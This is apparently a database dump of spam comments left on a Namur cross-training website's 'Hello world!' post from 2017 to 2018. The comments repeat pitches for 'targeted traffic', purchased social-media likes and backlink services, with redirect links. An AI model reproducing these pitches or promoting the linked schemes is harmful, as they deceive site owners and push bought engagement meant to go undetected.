(169, 1, 'Ann Weaver', 'bjzhzk@fjiauool.com', 'http://stpicks.com/27', '81.171.81.55', '2017-07-05 18:51:29', '2017-07-05 18:51:29', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE web traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://pcgroup.com.uy/15																				Unsubscribe here: http://pcgroup.com.uy/2a', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(170, 1, 'Ann Weaver', 'lugqhnd@sswzqo.com', 'http://pcgroup.com.uy/15', '196.54.55.18', '2017-07-19 23:25:56', '2017-07-19 23:25:56', 'I came to your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Check it out here: http://stpicks.com/27																			Unsubscribe here: http://priscilarodrigues.com.br/url/11', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(171, 1, 'Ann Weaver', 'nwxpntug@nyxculpvaq.com', 'http://tdil.co/3p', '81.171.81.227', '2017-07-25 21:25:01', '2017-07-25 21:25:01', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://pcgroup.com.uy/15																				Unsubscribe here: http://priscilarodrigues.com.br/url/11', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(172, 1, 'Ann Weaver', 'wpfkapwx@hbwbcnsdkmq.com', 'http://pcgroup.com.uy/15', '81.171.81.208', '2017-07-31 05:50:46', '2017-07-31 05:50:46', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://v-doc.co/nm/jkfq0																				Unsubscribe here: http://pcgroup.com.uy/2a', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(173, 1, 'Ann Weaver', 'wylsaj@qecdqclvnm.com', 'http://v-doc.co/nm/jkfq0', '193.218.154.84', '2017-08-04 14:59:46', '2017-08-04 14:59:46', 'This is a comment to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your website: http://stpicks.com/27 - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)																				Unsubscribe here: http://pcgroup.com.uy/2a', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(174, 1, 'Sarah Carlson', 'lugmhrudmfj@kplxqxlebzj.com', 'http://mylinks.top/h', '81.171.81.49', '2017-08-31 01:51:06', '2017-08-31 01:51:06', 'I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Start your free trial: http://v-doc.co/nm/jkfq0 															Unsubscribe here: http://priscilarodrigues.com.br/url/11', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(175, 1, 'Sarah Carlson', 'zoyrksdsif@hgqkcxkxcs.com', 'https://flxv.tk/6', '185.77.248.6', '2017-09-05 01:34:25', '2017-09-05 01:34:25', 'I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Start your free trial: http://priscilarodrigues.com.br/url/v 															Unsubscribe here: http://pcgroup.com.uy/2a', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(176, 1, 'Sarah Carlson', 'gzxibeqhyjg@kzpzacqlrh.com', 'http://url.euqueroserummacaco.com/ifa', '81.171.98.81', '2017-09-10 12:29:41', '2017-09-10 12:29:41', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://pcgroup.com.uy/15																													Unsubscribe here: http://priscilarodrigues.com.br/url/11', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(177, 1, 'Sarah Carlson', 'oeddkhzlr@zhzufud.com', 'http://segundaibc.com.br/go/1i', '196.52.32.12', '2017-09-18 16:29:19', '2017-09-18 16:29:19', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE web traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://pcgroup.com.uy/15																													Unsubscribe here: http://priscilarodrigues.com.br/url/11', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(178, 1, 'Sarah Carlson', 'wvwpeeyws@ntgyfhzgfdb.com', 'http://pcgroup.com.uy/15', '192.40.95.26', '2017-09-25 20:01:08', '2017-09-25 20:01:08', 'This is a comment to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your site: http://pcgroup.com.uy/15 - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :) 																				Unsubscribe here: http://pcgroup.com.uy/2a', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(179, 1, 'Sarah Carlson', 'eyqgjiw@puhmetx.com', 'http://lis.ovh/is', '37.203.209.26', '2017-10-02 12:58:32', '2017-10-02 12:58:32', 'I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Start your free trial: https://flxv.tk/6 															Unsubscribe here: http://priscilarodrigues.com.br/url/11', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(180, 1, 'Sandra', 'yzhxfpddw@kdjqwl.com', 'http://v-doc.co/nm/39zu3', '192.40.95.25', '2017-10-16 23:53:04', '2017-10-16 23:53:04', 'Did you just create your new Facebook page? Do you want your page to look a little more \&quot;established\&quot;? I found a service that can help you with that. They can send organic and 100% real likes and followers to your social pages and you can try before you buy with their free trial. Their service is completely safe and they send all likes to your page naturally and over time so nobody will suspect that you bought them. Try the service for free here: http://corta.co/9UC																		Unsubscribe here: http://corta.co/eXu', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(181, 1, 'Sandra', 'jkbpko@zrxhcgyxkff.com', 'http://pcgroup.com.uy/1n134', '196.52.32.10', '2017-10-23 16:13:58', '2017-10-23 16:13:58', 'I decided to leave a message here on your Hello world! | Cross Training Center (Namur) page instead of calling you. Do you need more likes for your Facebook Fan Page? The more people that LIKE your website and fanpage on Facebook, the more credibility you will have with new visitors. It works the same for Twitter, Instagram and Youtube. When people visit your page and see that you have a lot of followers, they now want to follow you too. They too want to know what all the hype is and why all those people are following you. Get some free likes, followers, and views just for trying this service: http://s.t0m-s.be/42																		Unsubscribe here: http://priscilarodrigues.com.br/url/2l', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(182, 1, 'Erma Bowman', 'oaogvmnmb@czkxjr.com', 'http://url.euqueroserummacaco.com/ifa', '81.171.85.54', '2017-11-08 12:23:04', '2017-11-08 12:23:04', 'I am reaching out since we saw a link to your website and thought you would be a good candidate for our traffic service. We provide targeted website traffic to virtually any type of website. We target our visitors by both country and keywords that you either submit to us or we can do keyword research for you. We offer a seven day FREE trial period with free traffic so that you can try our service to make sure it will work for you. Which of your websites needs the most growth? Find out more here:http://segundaibc.com.br/go/1i																													Unsubscribe here: http://corta.co/f5m', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(183, 1, 'Erma Bowman', 'hzbdun@pggezbvrehr.com', 'http://segundaibc.com.br/go/1i', '81.171.75.156', '2017-11-13 12:53:24', '2017-11-13 12:53:24', 'I am reaching out since we saw a link to your website and thought you would be a good candidate for our traffic service. We provide targeted website traffic to virtually any type of website. We target our visitors by both country and keywords that you either submit to us or we can do keyword research for you. We offer a seven day FREE trial period with free traffic so that you can try our service to make sure it will work for you. Which of your websites needs the most growth? Find out more here:http://v-doc.co/nm/jkfq0																													Unsubscribe here: http://priscilarodrigues.com.br/url/11', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(184, 1, 'Virginia Williams', 'exizyxmro@yolnskirzz.com', 'http://0nulu.com/sdq', '81.171.56.66', '2017-11-19 10:53:46', '2017-11-19 10:53:46', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://0nulu.com/rjv																				Unsubscribe here: http://0nulu.com/mvx', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(185, 1, 'Virginia Williams', 'lpwxfkor@gmail.com', 'http://0nulu.com/csy', '81.171.71.121', '2017-11-29 16:18:44', '2017-11-29 16:18:44', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://0nulu.com/sdq																				Unsubscribe here: http://0nulu.com/nbz', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(186, 1, 'Virginia Williams', 'cbqkhtc@gmail.com', 'http://0nulu.com/csy', '196.54.55.30', '2017-12-08 06:29:26', '2017-12-08 06:29:26', 'I came to your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Check it out here: http://0nulu.com/rjv		 																	Unsubscribe here: http://0nulu.com/mvx', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(187, 1, 'Heidi Reynolds', 'swjohdniw@gmail.com', 'http://0nulu.com/csy', '91.108.183.43', '2017-12-14 11:04:17', '2017-12-14 11:04:17', 'This is a comment to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your website: http://0nulu.com/sdq - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://0nulu.com/mvx', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(188, 1, 'Heidi Reynolds', 'oasytnwez@gmail.com', 'http://0nulu.com/opx', '196.54.55.20', '2017-12-22 19:28:23', '2017-12-22 19:28:23', 'This is a comment to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your website: http://0nulu.com/opx - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://0nulu.com/mvx', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(189, 1, 'Heidi Reynolds', 'ptfuggvtx@gmail.com', 'http://0nulu.com/sdq', '81.171.81.48', '2018-01-04 12:09:27', '2018-01-04 12:09:27', 'I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Start your free trial: http://0nulu.com/rjv		 																	Unsubscribe here: http://0nulu.com/mvx', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(190, 1, 'Heidi Reynolds', 'wtkidzgje@gmail.com', 'http://0nulu.com/csy', '196.52.84.38', '2018-01-10 09:48:39', '2018-01-10 09:48:39', 'I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Check it out here: http://0nulu.com/sdq		 																	Unsubscribe here: http://0nulu.com/mvx', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(191, 1, 'Heidi Reynolds', 'ydxlkz@gmail.com', 'http://0nulu.com/opx', '78.192.252.18', '2018-01-18 12:06:39', '2018-01-18 12:06:39', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE web traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://0nulu.com/sdq																				Unsubscribe here: http://0nulu.com/mvx', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like 19753', '', 0, 0),
(192, 1, 'Website Traffic', 'hcxsabcgr@gmail.com', 'http://0nulu.com/rjv', '81.171.58.79', '2018-01-23 18:00:40', '2018-01-23 18:00:40', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://0nulu.com/csy																				Unsubscribe here: http://0nulu.com/nbz', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(193, 1, 'Website Traffic', 'awbcuqc@gmail.com', 'http://0nulu.com/csy', '196.54.55.19', '2018-01-28 10:42:32', '2018-01-28 10:42:32', 'This is a comment to the Hello world! | Cross Training Center (Namur) admin. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your website: http://0nulu.com/sdq - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://0nulu.com/mvx', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(194, 1, 'Carla French', 'aqcnfle@gmail.com', 'http://0nulu.com/csy', '196.52.84.40', '2018-02-03 10:51:57', '2018-02-03 10:51:57', 'I am reaching out since we saw a link to your website and thought you would be a good candidate for our traffic service. We provide targeted website traffic to virtually any type of website. We target our visitors by both country and keywords that you either submit to us or we can do keyword research for you. We offer a seven day FREE trial period with free traffic so that you can try our service to make sure it will work for you. Which of your websites needs the most growth? Find out more here:http://0nulu.com/opx																				Unsubscribe here: http://0nulu.com/mvx', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(195, 1, 'Carla French', 'owzsxhxkyw@gmail.com', 'http://umr.dk/f', '81.171.81.247', '2018-02-09 10:44:50', '2018-02-09 10:44:50', 'I am reaching out since we saw a link to your website and thought you would be a good candidate for our traffic service. We provide targeted website traffic to virtually any type of website. We target our visitors by both country and keywords that you either submit to us or we can do keyword research for you. We offer a seven day FREE trial period with free traffic so that you can try our service to make sure it will work for you. Which of your websites needs the most growth? Find out more here: http://tgi.link/1fg99																				Unsubscribe here: http://gd.is/y/mun53', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(196, 1, 'Rebecca Sutton', 'uvhdjtvn@gmail.com', 'http://priscilarodrigues.com.br/url/v', '81.171.56.72', '2018-02-15 13:40:38', '2018-02-15 13:40:38', 'This is a message to the Hello world! | Cross Training Center (Namur) admin. Your website is missing out on at least 300 visitors per day. Our traffic system will  dramatically increase your traffic to your website: http://insl.co/m - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://gd.is/y/mun53', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(197, 1, 'Barbara Kennedy', 'cxqflmju@gmail.com', 'http://insl.co/m', '185.225.208.9', '2018-02-27 13:33:00', '2018-02-27 13:33:00', 'I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Start your free trial: http://insl.co/m																					Unsubscribe here: http://pzr.eu/18', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(198, 1, 'Ramona Jordan', 'eqnsplfas@gmail.com', 'http://stpicks.com/2rusd', '196.52.32.12', '2018-03-07 00:59:19', '2018-03-07 00:59:19', 'This is a message to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will dramatically increase your traffic to your website: http://xahl.de/p - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(199, 1, 'Ramona Jordan', 'bjmjku@gmail.com', 'http://insl.co/11', '173.244.44.96', '2018-03-13 19:35:58', '2018-03-13 19:35:58', 'I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Start your free trial: http://xahl.de/p																					Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(200, 1, 'Kerry Beck', 'ucamyeq@gmail.com', 'http://url.euqueroserummacaco.com/3ewon', '81.171.81.235', '2018-03-26 12:16:33', '2018-03-26 12:16:33', 'Do you need more people to visit your website? We have a 7 day free trial that will drive targeted visitors to your website. If you have been struggling with getting your website in front of people then come try our traffic service risk free. Just click the link below to check out our service and select your package, each package includes a 7 day free trial period. There is no catch, if you don\'t like the service you can cancel during the trial period you will not be charged anything. These visitors are all targeted by the keywords and countries that you submit when you place your order. Start your free trial today: http://xahl.de/p																																																	Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(201, 1, 'Kerry Beck', 'fghpma@gmail.com', 'http://url.euqueroserummacaco.com/3ewon', '196.52.84.24', '2018-04-02 21:58:41', '2018-04-02 21:58:41', 'This is a message to the Hello world! | Cross Training Center (Namur) admin. Your website is missing out on at least 300 visitors per day. Our traffic system will dramatically increase your traffic to your site: http://stpicks.com/2rusd - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(202, 1, 'Kerry Beck', 'aglxixb@gmail.com', 'http://stpicks.com/2rusd', '81.171.85.92', '2018-04-09 03:00:11', '2018-04-09 03:00:11', 'I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Start your free trial: http://url.euqueroserummacaco.com/3ewon																					Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(203, 1, 'Kerry Beck', 'nozbact@gmail.com', 'http://url.euqueroserummacaco.com/3ewon', '196.52.84.21', '2018-04-16 19:33:31', '2018-04-16 19:33:31', 'This is a comment to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will dramatically increase your traffic to your site: http://stpicks.com/2rusd - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(204, 1, 'Kerry Beck', 'fcicyrepjoy@gmail.com', 'http://stpicks.com/2rusd', '185.225.208.7', '2018-04-23 08:52:34', '2018-04-23 08:52:34', 'This is a message to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will dramatically increase your traffic to your site: http://url.euqueroserummacaco.com/3ewon - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(205, 1, 'Kerry Beck', 'coymxppedd@dwuqvpphgui.com', 'http://stpicks.com/2rusd', '82.102.21.98', '2018-05-03 09:48:30', '2018-05-03 09:48:30', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://xahl.de/p																				Unsubscribe here: http://xahl.de/q', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(206, 1, 'Monica', 'ydiqluczien@grampfkcf.com', 'https://bwlink.io/erhqf', '46.246.123.27', '2018-05-11 15:48:09', '2018-05-11 15:48:09', 'Need to rank your website? Get some free backlinks here: https://bwlink.io/erhqf We use a natural link building strategy to build awesome in-content backlinks. Our massive team of copywriters create original, semantically relevant content around your subject matter. We then post that content around the web to make your website go viral in the eyes of Google. Start your free trial today: http://corta.co/gpQm                                  																				Unsubscribe: https://bwlink.io/39imp', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(207, 1, 'Monica', 'klqdpogjpjg@emivrauvwe.com', 'https://bwlink.io/erhqf', '81.171.74.144', '2018-05-23 07:53:12', '2018-05-23 07:53:12', 'Need to rank your website? Get some free backlinks here: https://bwlink.io/erhqf We use a natural link building strategy to build awesome in-content backlinks. Our massive team of copywriters create original, semantically relevant content around your subject matter. We then post that content around the web to make your website go viral in the eyes of Google. Start your free trial today: http://y.rxhnet.de/i                                  																				Unsubscribe: https://bwlink.io/39imp', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(208, 1, 'Amber Stevens', 'wxqllqhnv@oydijkv.com', 'http://url.euqueroserummacaco.com/3ewon', '196.54.55.8', '2018-06-06 02:51:22', '2018-06-06 02:51:22', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://stpicks.com/2rusd																				Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(209, 1, 'Amber Stevens', 'ipihbgwlu@kbkfvxhsih.com', 'http://url.euqueroserummacaco.com/3ewon', '81.171.107.126', '2018-06-19 03:32:36', '2018-06-19 03:32:36', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE web traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://xahl.de/p																				Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(210, 1, 'Targeted website visitors', 'nrdkasts@lwzvcicpz.com', 'http://insl.co/11', '81.171.107.54', '2018-07-22 07:02:22', '2018-07-22 07:02:22', 'This is a message to the Hello world! | Cross Training Center (Namur) admin. Your website is missing out on at least 300 visitors per day. Our traffic system will dramatically increase your traffic to your site: http://stpicks.com/2rusd - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(211, 1, 'Anne Cross', 'cross.anne@googlemail.com', 'http://insl.co/11', '185.220.70.147', '2018-07-24 10:26:27', '2018-07-24 10:26:27', 'For a limited time we have lowered the rate on targeted website traffic. We have visitors from virtually every country on Earth. Each visitor is targeted by both country and keywords that you submit when you start your free trial period. If you need more visitors or product sales try our service free for seven days and we will send you 500 free visitors during the trial. There are no contracts and if you cancel during the trial period you will not be charged anything! Start your trial today: http://insl.co/11\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0', '', 0, 0),
(212, 1, 'Targeted website visitors', 'adgeqkt@stufuehsg.com', 'https://flust.de/tpuwx', '81.171.57.133', '2018-07-31 12:39:32', '2018-07-31 12:39:32', 'This is a message to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will dramatically increase your traffic to your website: https://flust.de/tpuwx - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(213, 1, 'Shana Marley', 'oiuocryb@vfyaeatrjz.com', 'https://flust.de/tpuwx', '82.102.20.180', '2018-09-30 17:29:00', '2018-09-30 17:29:00', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: https://flust.de/tpuwx																				Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(214, 1, 'Dianne Bennett', 'jsktekanylq@auwpwmkgrd.com', 'https://flust.de/tpuwx', '81.171.98.56', '2018-10-07 20:41:55', '2018-10-07 20:41:55', 'I came across your Hello world! | Cross Training Center (Namur) website and wanted to let you know that we have decided to open our POWERFUL and PRIVATE web traffic system to the public for a limited time! You can sign up for our targeted traffic network with a free trial as we make this offer available again. If you need targeted traffic that is interested in your subject matter or products start your free trial today: http://duckshop.co/1f1p																				Unsubscribe here: http://stpicks.com/2ruse', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(215, 1, 'Nicole Mawrey', 'pkxptwn@bjcbifyhqyl.com', 'https://38x.de/92sj7', '185.77.248.7', '2018-10-22 20:28:57', '2018-10-22 20:28:57', 'I came to your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Start your free trial: http://www.1lnk.net//1ol7																					Unsubscribe here: https://twe.lv/gg', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(216, 1, 'Nicole Mawrey', 'fcohmcwvqyr@xewftmz.com', 'https://38x.de/92sj7', '89.238.154.23', '2018-10-31 02:08:23', '2018-10-31 02:08:23', 'I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Start your free trial: https://38x.de/92sj7																					Unsubscribe here: https://twe.lv/gg', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
